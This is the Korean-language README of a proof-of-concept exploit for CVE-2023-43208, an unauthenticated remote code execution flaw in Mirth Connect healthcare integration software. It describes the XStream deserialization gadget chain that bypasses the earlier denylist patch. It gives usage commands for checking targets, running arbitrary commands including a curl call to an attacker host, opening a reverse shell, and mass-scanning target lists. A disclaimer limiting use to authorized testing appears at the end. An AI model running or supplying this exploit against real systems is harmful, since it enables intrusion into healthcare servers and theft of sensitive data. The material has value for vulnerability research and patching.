
CVE-2023-43208: Mirth Connect 사전 인증 RCE PoC
NextGen Healthcare Mirth Connect < 4.4.1에서 XStream 역직렬화 우회를 통한 비인증 원격 코드 실행(Pre-authenticated Remote Code Execution) 취약점.
CVSS 9.8 (치명적) — CVE-2023-37679 패치 우회
Mirth Connect는 Java XStream 라이브러리를 사용하여 /api/users 엔드포인트에서 인증 없이 XML 페이로드를 역직렬화합니다. 기존 수정(CVE-2023-37679)은 위험한 클래스의 차단 목록(denylist)을 도입했지만, Apache Commons Lang3의 EventBindingInvocationHandler와 Commons Collections4의 InvokerTransformer 체인을 결합하여 우회되었습니다.
Mirth Connect 4.4.1에서 차단 목록(denylist)을 허용 목록(allowlist)으로 전환하여 수정되었습니다.
pip install requests
Python 3.10+ (match 문 사용).
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
OS command execution as Mirth Connect service user
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 반드시 적절한 승인을 받으십시오.